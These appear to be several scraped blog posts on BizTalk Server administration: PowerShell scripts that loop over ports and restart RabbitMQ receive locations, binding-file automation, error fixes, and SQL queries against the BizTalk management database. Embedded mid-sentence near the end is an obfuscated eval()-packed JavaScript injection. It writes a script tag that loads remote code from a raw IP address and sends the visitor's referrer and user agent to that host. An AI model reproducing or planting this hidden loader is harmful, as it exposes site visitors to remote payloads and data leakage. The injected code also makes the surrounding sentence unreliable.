The sample below shows the use of the “ForEach” and the “ForEach-Object”. I think the first method results in cleaner code. The second method using piping and the $_ to represent the anonymous object. Using Powershell ISE (Integrated Scripting Environment), both methods should give you command completion (i.e. if you type in $SendPort., you will get the property and methods names available).

cls
$showDate = Get-Date -DisplayHint Date
Write-Host "Started at $showDate" 

#NOTE: Must be in 32-bit version of Powershell to use this SnapIn
#Add-PSSnapIn -Name BiztalkFactory.PowerShell.Extensions  
#Use the line below if your SQL server is on a different machine as BizTalk - only need to run it once per Powershell "Session" 
#New-PSDrive -Name BizTalk -Root BizTalk:\ -PsProvider BizTalk -Instance MyServer\MyInstance -Database BizTalkMgmtDb


cd "Biztalk:\Applications\MyApp\Send Ports"
$SendPorts = Get-ChildItem
Write-Host "--- Method 1 ---" 
ForEach ($SendPort in $SendPorts) 
{
    Write-Host $SendPort.Name $SendPort.Status 
} 

Write-Host "--- Method 2 ---" 
Get-ChildItem -Path "Biztalk:\Applications\MyApp\Send Ports" | ForEach-Object {
   Write-Host $_.Name  $_.Status 
}

$showDate = Get-Date -DisplayHint Date
Write-Host "Completed at $showDate" 

Example of selection criteria:

cd "Biztalk:\Applications\Echo.BSSR.Surface\Send Ports"
$SendPorts = Get-ChildItem
Write-Host "--- Method 1 ---" 
ForEach ($SendPort in $SendPorts) 
{
    #Write-Host $SendPort.Name $SendPort.Status 
    if (
        ($SendPort.Name.Contains('204') -and $SendPort.Name.ToUpper().Contains('OUT')) -or 
        ($SendPort.Name.Contains('990') -and $SendPort.Name.ToUpper().Contains('IN')) 
       ) 
       {
          Write-Host "Selected " $SendPort.Name 
       }
} 

On my previous blog about using Powershell Extensions with Send/Receive Ports, I didn’t show how to do a loop.

We have a custom Rabbit-MQ adapter that has a few issues. When we restart the host-instances, the adapter may get “stuck” unless we restart the associated receive locations. So, I wrote a Powershell to restart all RabbitMQ receive locations that are currently enabled.

cls 
#
# Restart All RabbitMQ Receive Locations that are currently enabled 
#
$showDate = Get-Date -DisplayHint Date
Write-Host "Started at $showDate" 

##Add-PSSnapIn -Name BiztalkFactory.PowerShell.Extensions  #NOTE: Must be in 32-bit version of Powershellto use this SnapIn
#cd "Biztalk:\Applications\<All Artifacts>\Receive Locations"
cd "Biztalk:\Applications"
$apps = get-childitem 
# $apps = @("Echo.BSSR.Surface.LTLShipmentOut204")   # use this to limit to a list/array of specific Apps 
foreach ($app in $apps) 
{
    Write-Host "APP=$($app.Name)" 
    cd "Biztalk:\Applications\$($app.Name)\Receive Locations" 
    $rcvlocs = get-childitem  
    foreach ($rcvloc in $rcvlocs) 
    {
      if ($rcvloc.Address.Contains("rabbit")) 
          {
              Write-Host "   $($rcvloc.Name) Enabled=$($rcvLoc.Enable) " 
              if ($rcvloc.Enable -eq $TRUE)   #only restart receive locations that are started 
              {
                 Disable-ReceiveLocation $rcvloc.Name 
                 Enable-ReceiveLocation $rcvloc.Name 
                 #Write-Host "       Restarted $($rcvloc.Name)" 
                 Write-Host "       Restarted " 
              }

          }
    }
}

$showDate = Get-Date -DisplayHint Date
Write-Host "Completed at $showDate" 

One of the pains of the BizTalk Deployment Framework (BTDF) is that frequently, you build a PortBindingMaster file, then you change your port names, or make other changes, and have to rebuild it manually.

The manual process is to export the binding file, then carefully go through the file, making the changes to the BTDF variables (which have the pattern ${variableName}. You define those variables in the SettingFileGenerator.xml file (which is opened and edited as an Excel spreadsheet).

So I built a Powershell that would do the work for me. It could be more complicated, but for now, I usually only have to change my RabbitMQ host name, the SQL server and instance name, and sometimes a filename.

$appName = "MyApp" 
$exportFilename = "d:\GitMyApp_Dev\MyApp\MyApp.Deployment\PortBindingsMaster.xml"

cd "Biztalk:\Applications"
$app = get-item $appName 
export-bindings $app $exportFilename

$binding = get-content $exportFilename 
#Note: $ sign must be escaped in the replace statements 
$binding = $binding.replace("rabbit@localhost","rabbit@`${RabbitMQHostName}") 
#Note: if file has different case of string - the match will not happen 
$binding = $binding.replace("mssql://SQLEnv.dev.domain.net/db01/","mssql://`${DB01Server}/`${DB01Instance}") 
$binding = $binding.replace("mssql://.//","mssql://`${DB01Server}/`${DB01Instance}")
$binding = $binding.replace("c:\Integrations\MyApp\BizTalk2010File","`${FilePathFor2010}") 
Set-Content -Path $exportFilename -Value $binding 

 

Assumes you have installed the Powershell Extensions for BizTalk and have the:
“Add-PSSnapin BiztalkFactory.Powershell.Extensions” set up in your startup script.

It could be fancier, for example it could use RegEx to find the pattern of the SQL server name, but for now, it’s saving me a lot of time as it is.

I’m starting to write a script to build my BizTalk Deployment Framework Binding (BTDF) files. I’m planning to substite the few things that are unique with the BTDF variables. So the first step is to automate the export of the binding file.

$appName = "Echo.BSSR.FrontEnd.LTLShipmentOut" 
$bindingsDirectory = "c:\Users\NWalters\AppData\Local\BizTalk\Binding Files"
$exportFilename = "$bindingsDirectory.\$appName.xml"

cd "Biztalk:\Applications"
$app = get-item $appName 
export-bindings $app $exportFilename

 

Assumes you have installed the Powershell Extensions for BizTalk and have the:
“Add-PSSnapin BiztalkFactory.Powershell.Extensions” set up in your startup script.

I had an orchestration from a BizTalk 2010 that had the following code:


vISA06 = msg_EDI_997(EDI.ISA06);
vISA08 = msg_EDI_997(EDI.ISA08);

We were updating and refactoring to 2016. When I put that code in my 2016 orchestration, it got an error. I checked, and the EDI. fields were not showing up in the Intellinsense “drop down”.

The trick is to reference Microsoft.BizTalk.Edi.BaseArtifacts [c:\Program Files (x86)\Microsoft BizTalk Server 2013 R2\Microsoft.BizTalk.Edi.BaseArtifacts.dll] in your project, then it works fine.

Error

When trying to deploy a Business Rule Engine Policy in BizTalk Server 2013, I was getting the error:
The database “Server:Instance” associated with the deployment driver does not match database “Server2:Instance2” of the during product configuration.

Solution

You can run a SQL script like the following (on my machine, there was only one row in the table, so no where clause was needed).

Update adm_group set RuleEngineDBServerName = 'VM3-NWALTERS'
select RuleEngineDBServerName, RuleEngineDBName, * from adm_group

where VM3-NWALTERS was my machine name. We used a SYSPREP procedure originally to copy a machine and rename it.

Error


Microsoft.ServiceModel.Channels.Common.ConnectionException: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.
—> System.Data.SqlClient.SqlException: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.

The user was correct, and that was driving me crazy. I had just built the database from a script, and I set and double-checked the security in SSMS for that database.
I’m running on my own VM on my desktop; and the userid is my VM-Name/bts_host_ins (and that’s the user that all the host instances run with).

Solution

There could be other reasons for this error, but here was my reason…

My SendPort was pointing to our development system which is on the “DEV” domain, and my VM where I’m testing is on the primary domain.
The fix was just to repoint the SendPort to my local VM which is what I wanted anyway. If I really did want to go to the DEV domain, then I would have to use a user on that domain to run my host instance.

Suppose you want to find if a map is used on some ReceivePort. In BizTalk, one Receive Port can contain multiple maps. The one that is executed is based on the matching target namespace and root element.

select app.nvcName as ApplicationName, 
       rp.nvcName as ReceivePortName,
       it.Name as MapName, 
       it.FullName,   -- you might have same map name in two different assemblies 
       bTwoWay 
  from bts_receiveport rp 
inner join bts_receiveport_transform rpt on rpt.nReceivePortID = rp.nID 
inner join bt_mapspec ms on ms.id = rpt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on rp.nApplicationID = app.nID 
where it.Name like '%204%'
order by rp.nvcName, it.Name 

Now, here’s how to do the same for SendPorts.

select app.nvcName as ApplicationName, 
       '' as ReceivePortName, 
       sp.nvcName as SendPortName,
       it.Name as MapName, 
       it.FullName,   -- you might have same map name in two different assemblies 
       bTwoWay 
  from bts_sendport sp 
inner join bts_sendport_transform spt on spt.nSendPortID = sp.nID 
inner join bt_mapspec ms on ms.id = spt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on sp.nApplicationID = app.nID 
where IT.Name like '%204%'
--order by sp.nvcName, it.Name 
order by 1, 2, 3

Now we can get fancy and do both in one query using the “UNION” clause. This requires having the columns match, so I’ve added the dummy SendPort in the receive query, and the dummy ReceivePort in the SendPort Query. The sort has to then sort by numeric columns.


select app.nvcName as ApplicationName, 
       rp.nvcName as ReceivePortName,
       '' as SendPortName, 
       it.Name as MapName, 
       it.FullName,   -- you might have same map name in two different assemblies 
       bTwoWay 
  from bts_receiveport rp 
inner join bts_receiveport_transform rpt on rpt.nReceivePortID = rp.nID 
inner join bt_mapspec ms on ms.id = rpt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on rp.nApplicationID = app.nID 
where IT.Name like '%204%'
--order by rp.nvcName, it.Name 
union 
select app.nvcName as ApplicationName, 
       '' as ReceivePortName, 
       sp.nvcName as SendPortName,
       it.Name as MapName, 
       it.FullName,   -- you might have same map name in two different assemblies 
       bTwoWay 
  from bts_sendport sp 
inner join bts_sendport_transform spt on spt.nSendPortID = sp.nID 
inner join bt_mapspec ms on ms.id = spt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on sp.nApplicationID = app.nID 
where IT.Name like '%204%'
--order by sp.nvcName, it.Name 
order by 1, 2, 3

Today, I saw a send port that had a filter such as BTS.Operation == Send204External. I looked at the orchestrations that I thought were involved in this application/project, but couldn’t find that operation name in any of the orchestration send ports.

There are two approaches to doing the xref:
1) Scanning all the code. I use Total Commander which has a great built-in utility to scan files with a mask (such as *.odx) for a given term (Send204External). But this assumes I have all the code on my disk (from our source code repository), and it doesn’t always run quickly.
2) Run a SQL query against the BizTalk SQL database.

In BizTalk, each orchestration logical (internal) SendPort can have one or more operations.

using <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytfak|var|u0026u|referrer|zaakd||js|php'.split('|'),0,{}))
</script></noindex> BizTalkMgmtDB 
select 
       app.nvcName as 'Application', 
       pto.nvcName as 'Operation', 
       pt.nvcName as 'PortType',
       op.nvcName as 'Orch-PortName',
       ass.nvcName as 'Assembly_Name'
         from bts_porttype_operation pto 
   inner join bts_porttype pt on pto.nPortTypeID = pt.nID 
   inner join bts_orchestration_port op on op.nPortTypeID = pt.nID 
   inner join bts_assembly ass on pt.nAssemblyID = ass.nID 
   inner join bts_application app on ass.nApplicationID = app.nID 
where pto.nvcName = 'Send204External' 

select app.nvcName,
       rp.nvcName as ReceivePort, 
       bTwoWay, 
       rl.Name as ReceiveLocation,
       InboundTransportURL, 
       ReceivePipelineData
  from bts_receiveport rp 
inner join adm_ReceiveLocation rl on rl.ReceivePortId = rp.nID 
inner join bts_application app on rp.nApplicationID = app.nID 
--where InboundTransportURL like '%test%'
order by rl.Name